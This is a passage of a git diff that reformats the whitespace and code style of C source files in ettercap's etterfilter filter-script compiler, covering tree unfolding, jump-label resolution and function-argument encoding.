Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include /* globals */ -/* +/* * the compiler works this way: * * while bison parses the input it calls the function to @@ -32,15 +32,15 @@ * of virtual instruction. every block element can contain a * single instruction or a if block. * the if block contains a link to the conditions list and two - * link for the two block to be executed if the condition is + * link for the two block to be executed if the condition is * true or the else block (if any). * - * so, after bison has finished its parsing we have a tree of + * so, after bison has finished its parsing we have a tree of * virtual instructions like that: - * + * * ----------- * | tree root | - * ----------- + * ----------- * | * ----------- ------------- * | block elm | --> | instruction | @@ -59,9 +59,9 @@ * ----------- ----------- * . . * . . - * + * * to create a binary filter we have to unfold the tree by converting - * the conditions into test, eliminating the virtual if block and + * the conditions into test, eliminating the virtual if block and * create the right conditional jumps. * during the first unfolding the jumps are referencing virtual labels. * all the instructions are unfolded in a double-linked list. @@ -74,7 +74,7 @@ static struct block *tree_root; struct unfold_elm { u_int32 label; struct filter_op fop; - TAILQ_ENTRY (unfold_elm) next; + TAILQ_ENTRY(unfold_elm) next; }; static TAILQ_HEAD(, unfold_elm) unfolded_tree = TAILQ_HEAD_INITIALIZER(unfolded_tree); @@ -104,52 +104,50 @@ int compiler_set_root(struct block *blk) /* * allocate an instruction container for filter_op */ -struct instruction * compiler_create_instruction(struct filter_op *fop) +struct instruction *compiler_create_instruction(struct filter_op *fop) { struct instruction *ins; SAFE_CALLOC(ins, 1, sizeof(struct instruction)); - + /* copy the instruction */ memcpy(&ins->fop, fop, sizeof(struct filter_op)); return ins; } - /* * allocate a condition container for filter_op */ -struct condition * compiler_create_condition(struct filter_op *fop) +struct condition *compiler_create_condition(struct filter_op *fop) { struct condition *cnd; SAFE_CALLOC(cnd, 1, sizeof(struct condition)); - + /* copy the instruction */ memcpy(&cnd->fop, fop, sizeof(struct filter_op)); return cnd; } - /* - * concatenates two conditions with a logical operator + * concatenates two conditions with a logical operator */ -struct condition * compiler_concat_conditions(struct condition *a, u_int16 op, struct condition *b) +struct condition *compiler_concat_conditions(struct condition *a, u_int16 op, struct condition *b) { struct condition *head = a; - + /* go to the last conditions in 'a' */ - while(a->next != NULL) + while (a->next != NULL) a = a->next; - + /* set the operation */ a->op = op; /* contatenate the two block */ a->next = b; - + /* return the head of the conditions */ return head; } @@ -157,7 +155,7 @@ struct condition * compiler_concat_conditions(struct condition *a, u_int16 op, s /* * allocate a ifblock container */ -struct ifblock * compiler_create_ifblock(struct condition *conds, struct block *blk) +struct ifblock *compiler_create_ifblock(struct condition *conds, struct block *blk) { struct ifblock *ifblk; @@ -170,16 +168,15 @@ struct ifblock * compiler_create_ifblock(struct condition *conds, struct block * return ifblk; } - /* * allocate a if_else_block container */ -struct ifblock * compiler_create_ifelseblock(struct condition *conds, struct block *blk, struct block *elseblk) +struct ifblock *compiler_create_ifelseblock(struct condition *conds, struct block *blk, struct block *elseblk) { struct ifblock *ifblk; SAFE_CALLOC(ifblk, 1, sizeof(struct ifblock)); - + /* associate the pointers */ ifblk->conds = conds; ifblk->blk = blk; @@ -188,11 +185,10 @@ struct ifblock * compiler_create_ifelseblock(struct condition *conds, struct blo return ifblk; } - /* * add an instruction to a block */ -struct block * compiler_add_instr(struct instruction *ins, struct block *blk) +struct block *compiler_add_instr(struct instruction *ins, struct block *blk) { struct block *bl; @@ -208,11 +204,10 @@ struct block * compiler_add_instr(struct instruction *ins, struct block *blk) return bl; } - -/* +/* * add an if block to a block */ -struct block * compiler_add_ifblk(struct ifblock *ifb, struct block *blk) +struct block *compiler_add_ifblk(struct ifblock *ifb, struct block *blk) { struct block *bl; @@ -228,7 +223,6 @@ struct block * compiler_add_ifblk(struct ifblock *ifb, struct block *blk) return bl; } - /* * parses the tree and produce a compiled * array of filter_op @@ -242,10 +236,10 @@ size_t compile_tree(struct filter_op **fop) // invalid file if (tree_root == NULL) return 0; - + fprintf(stdout, " Unfolding the meta-tree "); fflush(stdout); - + /* start the recursion on the tree */ unfold_blk(&tree_root); @@ -253,7 +247,7 @@ size_t compile_tree(struct filter_op **fop) /* substitute the virtual labels with real offsets */ labels_to_offsets(); - + /* convert the tailq into an array */ TAILQ_FOREACH(ue, &unfolded_tree, next) { @@ -264,17 +258,16 @@ size_t compile_tree(struct filter_op **fop) i++; } } - + /* always append the exit function to a script */ SAFE_REALLOC(array, i * sizeof(struct filter_op)); array[i - 1].opcode = FOP_EXIT; - + /* return the pointer to the array */ *fop = array; - - return (i); -} + return i; +} /* * unfold a block putting it in the unfolded_tree list @@ -282,34 +275,32 @@ size_t compile_tree(struct filter_op **fop) static void unfold_blk(struct block **blk) { struct unfold_elm *ue = NULL; - + BUG_IF(*blk == NULL); /* the progress bar */ - ef_debug(1, "+"); - - do { - switch((*blk)->type) { - case BLK_INSTR: - /* insert the instruction as is */ - SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); - memcpy(&ue->fop, (*blk)->un.ins, sizeof(struct filter_op)); - TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); - break; + ef_debug(1, "+"); - case BLK_IFBLK: - unfold_ifblk(blk); - break; - - default: - BUG("undefined tree element"); - break; - } + do { + switch ((*blk)->type) { + case BLK_INSTR: + /* insert the instruction as is */ + SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); + memcpy(&ue->fop, (*blk)->un.ins, sizeof(struct filter_op)); + TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); + break; + + case BLK_IFBLK: + unfold_ifblk(blk); + break; + + default: + BUG("undefined tree element"); + break; + } } while ((*blk = (*blk)->next)); - } - /* * unfold an if block putting it in the unfolded_tree list */ @@ -317,9 +308,9 @@ static void unfold_ifblk(struct block **blk) { struct ifblock *ifblk; struct unfold_elm *ue; - u_int32 a = vlabel++; - u_int32 b = vlabel++; - u_int32 c = vlabel++; + u_int32 a = vlabel++; + u_int32 b = vlabel++; + u_int32 c = vlabel++; /* * the virtual labels represent the three points of an if block: @@ -340,14 +331,14 @@ static void unfold_ifblk(struct block **blk) */ /* the progress bar */ - ef_debug(1, "#"); - + ef_debug(1, "#"); + /* cast the if block */ ifblk = (*blk)->un.ifb; - + /* compile the conditions */ unfold_conds(ifblk->conds, a, b); - + /* if the conditions are match, jump here */ SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); ue->label = a; @@ -359,7 +350,7 @@ static void unfold_ifblk(struct block **blk) unfold_blk(&ifblk->blk); } - /* + /* * if there is the else block, we have to skip it * if the condition was true */ @@ -369,12 +360,12 @@ static void unfold_ifblk(struct block **blk) ue->fop.op.jmp = c; TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); } - + /* if the conditions are NOT match, jump here (after the block) */ SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); ue->label = b; TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); - + /* recursively compile the else block */ if (ifblk->elseblk != NULL) { unfold_blk(&ifblk->elseblk); @@ -383,30 +374,28 @@ static void unfold_ifblk(struct block **blk) ue->label = c; TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); } - } - /* * unfold a conditions block putting it in the unfolded_tree list */ static void unfold_conds(struct condition *cnd, u_int32 a, u_int32 b) { struct unfold_elm *ue = NULL; - + do { - + /* the progress bar */ - ef_debug(1, "?"); - + ef_debug(1, "?"); + /* insert the condition as is */ SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); memcpy(&ue->fop, &cnd->fop, sizeof(struct filter_op)); TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); - + /* insert the conditional jump */ SAFE_CALLOC(ue, 1, sizeof(struct unfold_elm)); - + if (cnd->op == COND_OR) { ue->fop.opcode = FOP_JTRUE; ue->fop.op.jmp = a; @@ -415,11 +404,9 @@ static void unfold_conds(struct condition *cnd, u_int32 a, u_int32 b) ue->fop.opcode = FOP_JFALSE; ue->fop.op.jmp = b; } - + TAILQ_INSERT_TAIL(&unfolded_tree, ue, next); - } while ((cnd = cnd->next)); - } /* @@ -433,25 +420,26 @@ static void labels_to_offsets(void) fprintf(stdout, " Converting labels to real offsets "); fflush(stdout); - + TAILQ_FOREACH(ue, &unfolded_tree, next) { /* search only for jumps */ - if (ue->fop.opcode == FOP_JMP || + if (ue->fop.opcode == FOP_JMP || ue->fop.opcode == FOP_JTRUE || - ue->fop.opcode == FOP_JFALSE) { - + ue->fop.opcode == FOP_JFALSE) + { + switch (ue->fop.opcode) { - case FOP_JMP: - ef_debug(1, "*"); - break; - case FOP_JTRUE: - ef_debug(1, "+"); - break; - case FOP_JFALSE: - ef_debug(1, "-"); - break; + case FOP_JMP: + ef_debug(1, "*"); + break; + case FOP_JTRUE: + ef_debug(1, "+"); + break; + case FOP_JFALSE: + ef_debug(1, "-"); + break; } - + /* search the offset associated with the label */ TAILQ_FOREACH(s, &unfolded_tree, next) { if (s->label == ue->fop.op.jmp) { @@ -473,4 +461,3 @@ static void labels_to_offsets(void) /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterfilter/ef_ec_compat.c b/utils/etterfilter/ef_ec_compat.c index 20119a3ad..f0062fd84 100644 --- a/utils/etterfilter/ef_ec_compat.c +++ b/utils/etterfilter/ef_ec_compat.c @@ -1,25 +1,25 @@ /* - etterfilter -- ettercap compatibility module - here are stored functions needed by ec_* source - but not linked in etterfilter - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterfilter -- ettercap compatibility module + * here are stored functions needed by ec_* source + * but not linked in etterfilter + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -35,44 +35,43 @@ void ui_fatal_error(const char *msg); void ui_cleanup(void); /************************************************/ - + /* the void implementation */ -void debug_msg(const char *message, ...) +void debug_msg(const char *message, ...) { - (void) message; + (void)message; } /* fake the UI implementation */ -void ui_msg(const char *fmt, ...) -{ +void ui_msg(const char *fmt, ...) +{ va_list ap; - /* print the message */ + /* print the message */ va_start(ap, fmt); - vfprintf (stderr, fmt, ap); + vfprintf(stderr, fmt, ap); va_end(ap); fprintf(stderr, "\n"); } -void ui_error(const char *fmt, ...) -{ +void ui_error(const char *fmt, ...) +{ va_list ap; - /* print the message */ + /* print the message */ va_start(ap, fmt); - vfprintf (stderr, fmt, ap); + vfprintf(stderr, fmt, ap); va_end(ap); fprintf(stderr, "\n"); } void ui_fatal_error(const char *msg) { - fprintf (stderr, "%s\n", msg); + fprintf(stderr, "%s\n", msg); exit(-1); } -void ui_cleanup(void) { } +void ui_cleanup(void) {} /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterfilter/ef_encode.c b/utils/etterfilter/ef_encode.c index 7e359e062..586f8fd1f 100644 --- a/utils/etterfilter/ef_encode.c +++ b/utils/etterfilter/ef_encode.c @@ -1,23 +1,23 @@ /* - etterfilter -- the actual compiler - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterfilter -- the actual compiler + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -27,13 +27,13 @@ #include #ifdef HAVE_PCRE - #include +#include #endif /* protos */ -static char ** decode_args(char *args, int *nargs); -static char * strsep_quotes(char **stringp, const char delim); +static char **decode_args(char *args, int *nargs); +static char *strsep_quotes(char **stringp, const char delim); /*******************************************/ @@ -47,10 +47,10 @@ int encode_offset(char *string, struct filter_op *fop) int ret; memset(fop, 0, sizeof(struct filter_op)); - + /* make the modifications on a copy */ str = strdup(string); - + /* * the offset contains at least one '.' * we are sure because the syntax parser @@ -62,7 +62,7 @@ int encode_offset(char *string, struct filter_op *fop) /* * the assumption above is not always true, e.g.: - * log(DATA,d "x.log"); + * log(DATA,d "x.log"); * results in q == NULL. */ if (q == NULL) @@ -84,73 +84,71 @@ int encode_offset(char *string, struct filter_op *fop) int encode_const(char *string, struct filter_op *fop) { char *p; - + memset(fop, 0, sizeof(struct filter_op)); - + /* it is an hexadecimal value */ if (!strncmp(string, "0x", 2) && isxdigit((int)string[2])) { fop->op.test.value = strtoul(string, NULL, 16); return E_SUCCESS; - - /* it is an integer value */ + + /* it is an integer value */ } else if (isdigit((int)string[0])) { fop->op.test.value = strtoul(string, NULL, 10); return E_SUCCESS; - - /* it is an ip address */ + + /* it is an ip address */ } else if (string[0] == '\'' && string[strlen(string) - 1] == '\'') { struct ip_addr ipaddr; - + /* remove the single quote */ p = strchr(string + 1, '\''); *p = '\0'; if (ip_addr_pton(string + 1, &ipaddr) == E_SUCCESS) { switch (ntohs(ipaddr.addr_type)) { - case AF_INET: - /* 4-bytes - handle as a integer */ - fop->op.test.value = ntohl(ipaddr.addr32[0]); - break; - case AF_INET6: - /* 16-bytes - handle as a byte pointer */ - ip_addr_cpy((u_char*)&fop->op.test.ipaddr, &ipaddr); - break; - default: - return -E_FATAL; + case AF_INET: + /* 4-bytes - handle as a integer */ + fop->op.test.value = ntohl(ipaddr.addr32[0]); + break; + case AF_INET6: + /* 16-bytes - handle as a byte pointer */ + ip_addr_cpy((u_char *)&fop->op.test.ipaddr, &ipaddr); + break; + default: + return -E_FATAL; } - } - else { + } else { return -E_FATAL; } - + return E_SUCCESS; - - /* it is a string */ + + /* it is a string */ } else if (string[0] == '\"' && string[strlen(string) - 1] == '\"') { - + /* remove the quotes */ p = strchr(string + 1, '\"'); *p = '\0'; /* copy the string */ - fop->op.test.string = (u_char*)strdup(string + 1); - + fop->op.test.string = (u_char *)strdup(string + 1); + /* escape it in the structure */ - fop->op.test.slen = strescape((char*)fop->op.test.string, - (char*)fop->op.test.string, strlen(fop->op.test.string)+1); - + fop->op.test.slen = strescape((char *)fop->op.test.string, + (char *)fop->op.test.string, strlen(fop->op.test.string) + 1); + return E_SUCCESS; - - /* it is a constant */ + + /* it is a constant */ } else if (isalpha((int)string[0])) { return get_constant(string, &fop->op.test.value); } - + /* anything else is an error */ return -E_NOTFOUND; } - /* * parse a function and its arguments and fill the structure */ @@ -164,7 +162,7 @@ int encode_function(char *string, struct filter_op *fop) char *tok; memset(fop, 0, sizeof(struct filter_op)); - + /* get the name of the function */ name = ec_strtok(string, "(", &tok); /* get all the args */ @@ -184,9 +182,9 @@ int encode_function(char *string, struct filter_op *fop) /* encode offset wipe the fop !! */ fop->opcode = FOP_FUNC; fop->op.func.op = FFUNC_SEARCH; - fop->op.func.string = (u_char*)strdup(dec_args[1]); - fop->op.func.slen = strescape((char*)fop->op.func.string, - (char*)fop->op.func.string, strlen(fop->op.func.string)+1); + fop->op.func.string = (u_char *)strdup(dec_args[1]); + fop->op.func.slen = strescape((char *)fop->op.func.string, + (char *)fop->op.func.string, strlen(fop->op.func.string) + 1); ret = E_SUCCESS; } else SCRIPT_ERROR("Unknown offset %s ", dec_args[0]); @@ -197,28 +195,27 @@ int encode_function(char *string, struct filter_op *fop) int err; regex_t regex; char errbuf[100]; - + /* get the level (DATA or DECODED) */ if (encode_offset(dec_args[0], fop) == E_SUCCESS) { /* encode offset wipe the fop !! */ fop->opcode = FOP_FUNC; fop->op.func.op = FFUNC_REGEX; - fop->op.func.string = (u_char*)strdup(dec_args[1]); - fop->op.func.slen = strescape((char*)fop->op.func.string, - (char*)fop->op.func.string, strlen(fop->op.func.string)+1); + fop->op.func.string = (u_char *)strdup(dec_args[1]); + fop->op.func.slen = strescape((char *)fop->op.func.string, + (char *)fop->op.func.string, strlen(fop->op.func.string) + 1); ret = E_SUCCESS; } else SCRIPT_ERROR("Unknown offset %s ", dec_args[0]); /* check if the regex is valid */ - err = regcomp(®ex, (const char*)fop->op.func.string, REG_EXTENDED | REG_NOSUB | REG_ICASE ); + err = regcomp(®ex, (const char *)fop->op.func.string, REG_EXTENDED | REG_NOSUB | REG_ICASE); if (err) { regerror(err, ®ex, errbuf, sizeof(errbuf)); SCRIPT_ERROR("%s", errbuf); - } - + } + regfree(®ex); - } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } else if (!strcmp(name, "pcre_regex")) { @@ -228,9 +225,9 @@ int encode_function(char *string, struct filter_op *fop) pcre *pregex; const char *errbuf = NULL; int erroff; - + if (nargs == 2) { - + /* get the level (DATA or DECODED) */ if (encode_offset(dec_args[0], fop) == E_SUCCESS) { /* encode offset wipe the fop !! */ @@ -243,13 +240,13 @@ int encode_function(char *string, struct filter_op *fop) SCRIPT_ERROR("Unknown offset %s ", dec_args[0]); /* check if the pcre is valid */ - pregex = pcre_compile(fop->op.func.string, 0, &errbuf, &erroff, NULL ); + pregex = pcre_compile(fop->op.func.string, 0, &errbuf, &erroff, NULL); if (pregex == NULL) SCRIPT_ERROR("%s\n", errbuf); pcre_free(pregex); } else if (nargs == 3) { - + fop->opcode = FOP_FUNC; fop->op.func.op = FFUNC_PCRE; /* substitution always at layer DATA */ @@ -259,9 +256,9 @@ int encode_function(char *string, struct filter_op *fop) fop->op.func.replace = strdup(dec_args[2]); fop->op.func.rlen = strlen(fop->op.func.replace); ret = E_SUCCESS; - + /* check if the pcre is valid */ - pregex = pcre_compile(fop->op.func.string, 0, &errbuf, &erroff, NULL ); + pregex = pcre_compile(fop->op.func.string, 0, &errbuf, &erroff, NULL); if (pregex == NULL) SCRIPT_ERROR("%s\n", errbuf); @@ -274,12 +271,12 @@ int encode_function(char *string, struct filter_op *fop) fop->op.func.op = FFUNC_REPLACE; /* replace always operate at DATA level */ fop->op.func.level = 5; - fop->op.func.string = (u_char*)strdup(dec_args[0]); - fop->op.func.slen = strescape((char*)fop->op.func.string, - (char*)fop->op.func.string, strlen(fop->op.func.string)+1); - fop->op.func.replace = (u_char*)strdup(dec_args[1]); - fop->op.func.rlen = strescape((char*)fop->op.func.replace, - (char*)fop->op.func.replace, strlen(fop->op.func.replace)+1); + fop->op.func.string = (u_char *)strdup(dec_args[0]); + fop->op.func.slen = strescape((char *)fop->op.func.string, + (char *)fop->op.func.string, strlen(fop->op.func.string) + 1); + fop->op.func.replace = (u_char *)strdup(dec_args[1]); + fop->op.func.rlen = strescape((char *)fop->op.func.replace, + (char *)fop->op.func.replace, strlen(fop->op.func.replace) + 1); ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); @@ -288,8 +285,8 @@ int encode_function(char *string, struct filter_op *fop) fop->op.func.op = FFUNC_INJECT; /* inject always operate at DATA level */ fop->op.func.level = 5; - fop->op.func.string = (u_char*)strdup(dec_args[0]); - fop->op.func.slen = strlen((const char*)fop->op.func.string); + fop->op.func.string = (u_char *)strdup(dec_args[0]); + fop->op.func.slen = strlen((const char *)fop->op.func.string); ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); @@ -298,8 +295,8 @@ int encode_function(char *string, struct filter_op *fop) fop->op.func.op = FFUNC_EXECINJECT; /* execinject always operate at DATA level */ fop->op.func.level = 5; - fop->op.func.string = (u_char*)strdup(dec_args[0]); - fop->op.func.slen = strlen((const char*)fop->op.func.string); + fop->op.func.string = (u_char *)strdup(dec_args[0]); + fop->op.func.slen = strlen((const char *)fop->op.func.string); ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); @@ -310,8 +307,8 @@ int encode_function(char *string, struct filter_op *fop) /* encode offset wipe the fop !! */ fop->opcode = FOP_FUNC; fop->op.func.op = FFUNC_LOG; - fop->op.func.string = (u_char*)strdup(dec_args[1]); - fop->op.func.slen = strlen((const char*)fop->op.func.string); + fop->op.func.string = (u_char *)strdup(dec_args[1]); + fop->op.func.slen = strlen((const char *)fop->op.func.string); ret = E_SUCCESS; } else SCRIPT_ERROR("Unknown offset %s ", dec_args[0]); @@ -332,17 +329,17 @@ int encode_function(char *string, struct filter_op *fop) } else if (!strcmp(name, "msg")) { if (nargs == 1) { fop->op.func.op = FFUNC_MSG; - fop->op.func.string = (u_char*)strdup(dec_args[0]); - fop->op.func.slen = strescape((char*)fop->op.func.string, - (char*)fop->op.func.string, strlen(fop->op.func.string)+1); + fop->op.func.string = (u_char *)strdup(dec_args[0]); + fop->op.func.slen = strescape((char *)fop->op.func.string, + (char *)fop->op.func.string, strlen(fop->op.func.string) + 1); ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } else if (!strcmp(name, "exec")) { if (nargs == 1) { fop->op.func.op = FFUNC_EXEC; - fop->op.func.string = (u_char*)strdup(dec_args[0]); - fop->op.func.slen = strlen((const char*)fop->op.func.string); + fop->op.func.string = (u_char *)strdup(dec_args[0]); + fop->op.func.slen = strlen((const char *)fop->op.func.string); ret = E_SUCCESS; } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); @@ -357,7 +354,7 @@ int encode_function(char *string, struct filter_op *fop) /* free the array */ for (i = 0; i < nargs; i++) SAFE_FREE(dec_args[i]); - + SAFE_FREE(dec_args); SAFE_FREE(str); return ret; @@ -367,77 +364,75 @@ int encode_function(char *string, struct filter_op *fop) * split the args of a function and return * the number of found args */ -static char ** decode_args(char *args, int *nargs) +static char **decode_args(char *args, int *nargs) { char *p, *q, *arg; int i = 0; char **parsed; *nargs = 0; - + /* get the end */ if ((p = strrchr(args, ')')) != NULL) *p = '\0'; - + /* trim the empty spaces */ - for (; *args == ' '; args++); + for (; *args == ' '; args++) ; for (q = args + strlen(args) - 1; *q == ' '; q--) *q = '\0'; /* there are no arguments */ if (!strchr(args, ',') && strlen(args) == 0) return NULL; - + SAFE_CALLOC(parsed, 1, sizeof(char *)); - + /* split the arguments */ for (p = strsep_quotes(&args, ','), i = 1; p != NULL; p = strsep_quotes(&args, ','), i++) { - + /* alloc the array for the arguments */ SAFE_REALLOC(parsed, (i + 1) * sizeof(char *)); - + /* trim the empty spaces */ - for (arg = p; *arg == ' '; arg++); + for (arg = p; *arg == ' '; arg++) ; for (q = arg + strlen(arg) - 1; *q == ' '; q--) *q = '\0'; - + /* remove the quotes (if there are) */ - if (*arg == '\"' && arg[strlen(arg) - 1] == '\"') { + if (*arg == '\"' && arg[strlen(arg) - 1] == '\"') { arg[strlen(arg) - 1] = '\0'; arg++; } /* put in in the array */ parsed[i - 1] = strdup(arg); - + ef_debug(5, "ARGUMENT: %s\n", arg); } /* return the number of args */ *nargs = i - 1; - + return parsed; } - - /* * split the string in tokens separated by 'delim'. * ignore 'delim' if it is between two quotes "..." */ -static char * strsep_quotes(char **stringp, const char delim) +static char *strsep_quotes(char **stringp, const char delim) { - char *s; - int c; - char *tok; + char *s; + int c; + char *tok; /* sanity check */ - if ((s = *stringp) == NULL) - return (NULL); + if ((s = *stringp) == NULL) + return NULL; /* parse the string */ - for (tok = s;;) { + for (tok = s;;) { - /* XXX - + /* XXX - * this does not parses correctly string in the form: * * "foo, bar, "tic,tac"" @@ -445,26 +440,25 @@ static char * strsep_quotes(char **stringp, const char delim) /* skip string between quotes */ if (*s == '\"') - while(*(++s) != '\"' && *s != '\0'); + while (*(++s) != '\"' && *s != '\0') ; c = *s++; - + /* search for the delimiter */ - if ( c == delim || c == 0) { + if (c == delim || c == 0) { if (c == 0) s = NULL; else s[-1] = 0; - + *stringp = s; - - return (tok); + + return tok; } - } - /* NOTREACHED */ + } + /* NOTREACHED */ } /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterfilter/ef_main.c b/utils/etterfilter/ef_main.c index 431084b91..b2e748753 100644 --- a/utils/etterfilter/ef_main.c +++ b/utils/etterfilter/ef_main.c @@ -1,23 +1,23 @@ /* - etterfilter -- filter compiler for ettercap content filtering engine - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterfilter -- filter compiler for ettercap content filtering engine + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,12 +25,12 @@ #include -#define GBL_FREE(x) do{ if (x != NULL) { free(x); x = NULL; } }while(0) +#define GBL_FREE(x) do { if (x != NULL) { free(x); x = NULL; } } while (0) /* globals */ -extern FILE * yyin; /* from scanner */ -extern int yyparse (void); /* from parser */ +extern FILE *yyin; /* from scanner */ +extern int yyparse(void); /* from parser */ /* global options */ struct globals *gbls; @@ -42,12 +42,12 @@ int main(int argc, char *argv[]) int ret_value = 0; globals_alloc(); /* etterfilter copyright */ - fprintf(stdout, "\n" EC_COLOR_BOLD "%s %s" EC_COLOR_END " copyright %s %s\n\n", - GBL_PROGRAM, EC_VERSION, EC_COPYRIGHT, EC_AUTHORS); - + fprintf(stdout, "\n" EC_COLOR_BOLD "%s %s" EC_COLOR_END " copyright %s %s\n\n", + GBL_PROGRAM, EC_VERSION, EC_COPYRIGHT, EC_AUTHORS); + /* initialize the line number */ GBL->lineno = 1; - + /* getopt related parsing... */ parse_options(argc, argv); @@ -65,7 +65,6 @@ int main(int argc, char *argv[]) setbuf(stdout, NULL); setbuf(stderr, NULL); - /* load the tables in etterfilter.tbl */ load_tables(); /* load the constants in etterfilter.cnt */ @@ -82,7 +81,7 @@ int main(int argc, char *argv[]) fprintf(stdout, " done.\n\n"); else fprintf(stdout, "\n\nThe script contains errors...\n\n"); - + /* write to file */ ret_value = write_output(); if (ret_value == -E_NOTHANDLED) @@ -94,24 +93,22 @@ int main(int argc, char *argv[]) return 0; } - /* * print debug information */ void ef_debug(u_char level, const char *message, ...) -{ +{ va_list ap; - + /* if not in debug don't print anything */ if (GBL_OPTIONS->debug < level) return; - /* print the message */ + /* print the message */ va_start(ap, message); - vfprintf (stderr, message, ap); + vfprintf(stderr, message, ap); fflush(stderr); va_end(ap); - } void globals_alloc(void) @@ -129,10 +126,8 @@ void globals_free(void) SAFE_FREE(gbls); return; - } /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterfilter/ef_output.c b/utils/etterfilter/ef_output.c index 450e00726..3673c3af5 100644 --- a/utils/etterfilter/ef_output.c +++ b/utils/etterfilter/ef_output.c @@ -1,23 +1,23 @@ /* - etterfilter -- the actual compiler - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterfilter -- the actual compiler + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -28,11 +28,10 @@ #include #include - /* protos */ static void print_progress_bar(struct filter_op *fop); -static u_char * create_data_segment(struct filter_header *fh, struct filter_op *fop, size_t n); +static u_char *create_data_segment(struct 